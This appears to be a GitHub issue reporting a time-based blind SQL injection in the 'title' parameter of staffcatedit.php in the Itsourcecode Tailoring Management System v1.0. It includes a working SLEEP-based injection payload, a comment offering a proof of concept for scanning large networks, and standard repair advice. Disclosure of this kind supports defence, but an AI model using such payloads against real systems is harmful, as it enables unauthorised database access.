Open t4rrega opened 2 months ago
Thank you for the vulnerability you discovered. Together we are building a safer world. I wrote a special Extended PoC code (detection and exploitation advice) for this vulnerability, so you can quickly detect this vulnerability on large networks. I hope it will be useful!
Itsourcecode Tailoring Management System Project In PHP With Source Code v1.0 staffcatedit.php SQL injection
NAME OF AFFECTED PRODUCT(S)
Vendor Homepage
AFFECTED AND/OR FIXED VERSION(S)
submitter
Vulnerable File
VERSION(S)
Software Link
PROBLEM TYPE
Vulnerability Type
Root Cause
Impact
DESCRIPTION
Vulnerability details and POC
title=1231
Parameter: title (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: title=1231' AND (SELECT 8494 FROM (SELECT(SLEEP(5)))ohzR) AND 'rSZL'='rSZL
Suggested repair
Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format.
Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.
Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.